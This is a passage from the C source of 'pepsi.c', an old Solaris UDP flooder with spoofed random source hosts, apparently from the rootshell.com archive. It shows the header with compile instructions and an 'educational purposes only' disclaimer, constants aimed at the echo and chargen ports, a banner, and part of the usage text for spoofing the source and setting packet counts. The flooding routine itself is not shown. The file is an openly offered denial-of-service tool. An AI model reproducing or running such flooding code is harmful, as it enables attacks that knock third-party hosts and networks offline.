/* * [ http://www.rootshell.com/ ] * * pepsi.c (for Solaris) * Random Source Host UDP Flooder * * Author: Soldier@data-t.org * Revised: rich@randomc.com, specifically for Solaris. * * [12.25.1996], Rev [12.11.1997] * * Greets To: Havok, nightmar, vira, Kage, ananda, tmw, Chessebal, efudd, * Capone, cph|ber, WebbeR, Shadowimg, robocod, napster, marl, eLLjAY, fLICK^ * Toasty, [shadow], [magnus] and silitek, oh and Data-T * * To compile under Solaris: * cc -o pepsi pepsi.c -lnsl -lsocket * or * gcc -o pepsi pepsi.c -lnsl -lsocket * * Disclaimer since I don't wanna go to jail * - this is for educational purposes only */ /* * Definitions. */ #define FRIEND "My christmas present to the Internet -Soldier" #define VERSION "Pepsi.c v1.7" #define DSTPORT 7 #define SRCPORT 19 #define PSIZE 1024 #define DWAIT 1 /* * Includes */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* * Banner. */ void banner() { printf( "\t\t\t%s Author - Soldier \n", VERSION ); printf( "\t\t\t [10.27.97] \n\n" ); printf( "This Copy Register to: %s\n\n", FRIEND ); } /* * Option parsing. */ struct sockaddr_in dstaddr; unsigned long dst; struct udphdr *udp; struct ip *ip; char *target; char *srchost; int dstport = 0; int srcport = 0; int numpacks = 0; int psize = 0; int wait = 0; void usage(char *pname) { printf( "Usage:\n " ); printf( "%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait] \n\n", pname ); printf( "\t-s : source where packets are coming from\n" ); printf( "\t-n : number of UDP packets to send\n" ); printf( "\t-p : Packet size [Default is 1024]\n" ); printf( "\t-d : Destination port [Default is %.2d]\n", DSTPORT ); printf( "\t-o : Source port [Default is %.2d]\n", SRCPORT ); printf( "\t-w